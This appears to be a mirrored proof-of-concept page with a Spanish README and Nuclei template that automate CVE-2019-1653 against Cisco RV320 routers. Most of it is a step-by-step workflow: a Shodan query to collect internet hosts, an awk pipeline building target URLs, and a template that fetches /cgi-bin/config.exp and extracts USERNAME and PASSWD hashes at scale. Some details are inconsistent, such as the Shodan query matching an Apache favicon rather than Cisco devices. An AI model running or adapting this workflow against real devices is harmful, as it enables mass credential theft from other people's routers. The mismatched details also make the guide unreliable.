关联漏洞
描述
CiscoRV320Dump CVE-2019-1653 - Automatition.
介绍
Cisco Router Configuration Exposure Vulnerability
Descripción de la Vulnerabilidad
Este repositorio detalla el proceso de explotación de una vulnerabilidad en ciertos routers Cisco que permite la exposición del archivo de configuración config.exp mediante una URL pública accesible. Este archivo puede contener información sensible, incluyendo credenciales (USERNAME y PASSWD), configuraciones de red y otros detalles críticos del sistema. En caso de estar accesible sin autenticación, puede comprometer la seguridad del dispositivo y de la red en la que está desplegado.
CVE Relacionado
Esta vulnerabilidad podría relacionarse con CVE-2003-1567 y CVE-2019-1653, ambas relacionadas con la exposición no autorizada de archivos de configuración en dispositivos Cisco, aunque es importante investigar si el dispositivo y firmware específico aplican a estos CVEs.
Guía Paso a Paso para la Explotación
Este procedimiento utiliza Shodan para identificar dispositivos vulnerables, seguido de Nuclei para escanear y verificar la exposición de configuraciones críticas en routers Cisco.
Requisitos Previos
Cuenta en Shodan: Asegúrate de tener una cuenta en Shodan y de que tu API Key esté configurada para acceder desde la línea de comandos.
Nuclei: Instalado en tu entorno, junto con el template personalizado de Nuclei que se describe a continuación.
Herramientas: shodan-cli, awk, y httpx para la conversión de direcciones IP a URLs completas.
Paso 1: Buscar Dispositivos Vulnerables en Shodan
El primer paso es identificar dispositivos vulnerables en Shodan mediante una búsqueda avanzada. La siguiente consulta en Shodan busca dispositivos que posiblemente sean routers Cisco:
shodan download apache_results.json.gz "http.favicon.hash:-299287097 Apache"
Este comando:
Realiza una búsqueda en Shodan para identificar dispositivos que tengan el favicon de Apache, con un hash específico que identifica servidores que podrían estar relacionados con Apache. Esto es útil en el contexto de auditorías de servidores.
Paso 2: Descargar Resultados y Formatear URLs
Una vez que tienes el archivo apache_results.json.gz, lo siguiente es extraer IPs y puertos de cada dispositivo para formatearlos en URLs completas, incluyendo el protocolo (http o https) y el puerto.
Comando para procesar los datos del archivo .json
Usa el siguiente comando para extraer las IPs y puertos y formatearlos en URLs completas en un archivo llamado urls.txt:
shodan parse --fields ip_str,port,ssl.version apache_results.json.gz | \
awk '{if ($2 == 443 || $3 ~ /https/) print "https://"$1":"$2; else print "http://"$1":"$2}' > urls.txt
shodan parse: Extrae las IPs y puertos de cada resultado en el archivo apache_results.json.gz.
awk: Formatea la salida en URLs completas, usando https si el puerto es 443 o si se detecta SSL, y http en los demás casos.
El archivo urls.txt ahora contiene URLs completas y formateadas.
Paso 3: Crear un Template Personalizado de Nuclei
Para verificar si el archivo config.exp es accesible en estos dispositivos, vamos a utilizar un template personalizado de Nuclei. Este template intentará acceder al archivo y extraerá datos sensibles como USERNAME y PASSWD si están presentes.
Template de Nuclei (cisco-router-config-exposure.yaml)
id: cisco-router-config-exposure
info:
name: Cisco Router Configuration Exposure
author: elzer
severity: high
description: |
Detecta la exposición del archivo config.exp en routers Cisco que contiene credenciales y configuraciones críticas.
tags:
- cisco
- router
- vulnerability
- cgi-bin
- config.exp
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/config.exp"
matchers-condition: or
matchers:
- type: word
words:
- "Cisco"
- "config"
- "version"
- type: regex
regex:
- "USERNAME=\\w+"
- "PASSWD=[a-f0-9]{32}"
Este template:
Envía una solicitud GET al archivo /cgi-bin/config.exp.
Verifica si en la respuesta se encuentran palabras clave o patrones específicos (Cisco, config, version) para confirmar la exposición.
Intenta extraer valores de USERNAME y PASSWD si están presentes en el archivo.
Guarda este template como cisco-router-config-exposure.yaml en la carpeta de templates de Nuclei.
Paso 4: Ejecutar Nuclei para Detectar Dispositivos Vulnerables
Con el template y el archivo urls.txt listos, ejecuta el siguiente comando de Nuclei para escanear las URLs:
nuclei -t path/to/cisco-router-config-exposure.yaml -l urls.txt -o resultados_nuclei.txt -debug -vv
-t path/to/cisco-router-config-exposure.yaml: Indica el template personalizado que creamos.
-l urls.txt: Usa el archivo urls.txt con las URLs formateadas.
-o resultados_nuclei.txt: Guarda los resultados en el archivo resultados_nuclei.txt.
-debug -vv: Ejecuta Nuclei en modo detallado para ver el progreso y detalles de la depuración.
Resultado
Después de ejecutar Nuclei, el archivo resultados_nuclei.txt contendrá un listado de dispositivos vulnerables que exponen el archivo de configuración config.exp. Esto incluye cualquier dispositivo que devuelva credenciales o configuraciones sensibles, lo que confirma la exposición de la vulnerabilidad.
Conclusión
Este proceso te permite identificar y confirmar la exposición de archivos de configuración críticos en dispositivos Cisco utilizando Shodan y Nuclei. La automatización de este flujo es especialmente útil para auditores de seguridad y profesionales de ciberseguridad interesados en identificar y remediar configuraciones inseguras en redes corporativas.
文件快照
[4.0K] /data/pocs/48fe0747ed7d57695c68972c4190f294383b4f83
├── [1.0K] cisco-router-config-exposure.yaml
└── [5.5K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。